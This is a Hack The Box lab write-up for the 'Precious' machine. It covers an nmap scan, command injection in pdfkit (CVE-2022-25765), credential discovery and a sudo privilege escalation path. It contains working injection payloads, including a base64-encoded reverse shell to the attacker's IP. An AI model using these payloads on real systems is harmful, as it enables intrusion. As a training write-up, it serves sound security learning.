Precious HTB writeup

Posted on Thu 23 February 2023 in hackthebox

This is a writeup of the machine Precious from Hack The Box. As with all the machines on Hack The Box we start by performing an nmap scan against the machine: nmap -sC -sV -oA nmap/precious 10.10.11.189 -Pn

Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-23 12:25 EST
Stats: 0:00:07 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.29% done; ETC: 12:25 (0:00:00 remaining)
Stats: 0:00:07 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.65% done; ETC: 12:25 (0:00:00 remaining)
Nmap scan report for 10.10.11.189
Host is up (0.029s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 845e13a8e31e20661d235550f63047d2 (RSA)
|   256 a2ef7b9665ce4161c467ee4e96c7c892 (ECDSA)
|_  256 33053dcd7ab798458239e7ae3c91a658 (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to http://precious.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.21 seconds

Only two ports are open. SSH and HTB. We see that the HTTP request is redirected to http://precious.htb/ so we add this to /etc/hosts/.

fa2e7e718ce2473f5e1d08a1d6653a43.png

If we have a look at the HTTP headers we can see that the site was built with Ruby.

52f31552455c7cd482a6cab8da4150ea.png

Upload example html

The website states to convert web pages to PDF so let's create an html file then serve and submit it.

mkdir www
cd www
touch index.html # and add some html
python3 -m http.server 80

Then enter http://10.10.14.13/ and download the generated pdf. Now we can inspect the pdf with exiftool hbk6f3xrj6xh3b60tg0ttr133q4fkv07.pdf

ExifTool Version Number         : 12.55
File Name                       : hbk6f3xrj6xh3b60tg0ttr133q4fkv07.pdf
Directory                       : .
File Size                       : 11 kB
File Modification Date/Time     : 2023:02:23 12:45:08-05:00
File Access Date/Time           : 2023:02:23 12:45:08-05:00
File Inode Change Date/Time     : 2023:02:23 12:45:08-05:00
File Permissions                : -rw-r--r--
File Type                       : PDF
File Type Extension             : pdf
MIME Type                       : application/pdf
PDF Version                     : 1.4
Linearized                      : No
Page Count                      : 1
Creator                         : Generated by pdfkit v0.8.6

The pdf was generated with pdfkit v0.8.6. A Google search for pdfkit v0.8.6 returns that it is vulnerable to CVE-2022-25765. Once can find an article on that vulnerability in the Snyk Vulnerability DB

Exploit

We first try to inject a sleep command to test if the app is indeed vulnerable. For this we submit the following address:

http://10.10.14.13/?name=#{'%20`sleep 5`'}

This takes about 5 seconds to generate the pdf. From this we can conduct that the app is vulnerable.

Now we spawn a reverse shell with the following command:

http://10.10.14.13/?name=#{'%20`echo 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMy85MDAxIDA+JjE=' | base64 -d | bash`'}

And then upgrade the shell as always with python3 -c 'import pty; pty.spawn("/bin/bash")'

Enumeration

We start our enumeration by running linpeas.sh which hints us to an intesting file: /home/ruby/.bundle/config

This file contains credentials for a user called henry: BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH

We then try to login via ssh with these credentials. And are able to read the user flag.

9d7e7ce961239db2f70fedd1f34dbc3c.png

Privilege escalation

Let's see if henry is allowed to run any commands with sudo: sudo -l

Matching Defaults entries for henry on precious:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User henry may run the following commands on precious:
    (root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb

And indeed henry may run /usr/bin/ruby /opt/update_dependencies.rb as root without having to provide a password.

So let's inspect the contents of said ruby script:

# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'

# TODO: update versions automatically
def update_gems()
end

def list_from_file
    YAML.load(File.read("dependencies.yml"))
end

def list_local_gems
    Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end

gems_file = list_from_file
gems_local = list_local_gems

gems_file.each do |file_name, file_version|
    gems_local.each do |local_name, local_version|
        if(file_name == local_name)
            if(file_version != local_version)
                puts "Installed version differs from the one specified in file: " + local_name
            else
                puts "Installed version is equals to the one specified in file: " + local_name
            end
        end
    end
end

This script reads a yaml file with File.read which is mentioned in this article and can be used to priv esc.

b5882e67b5144e22a5426db9e3ed2f17.png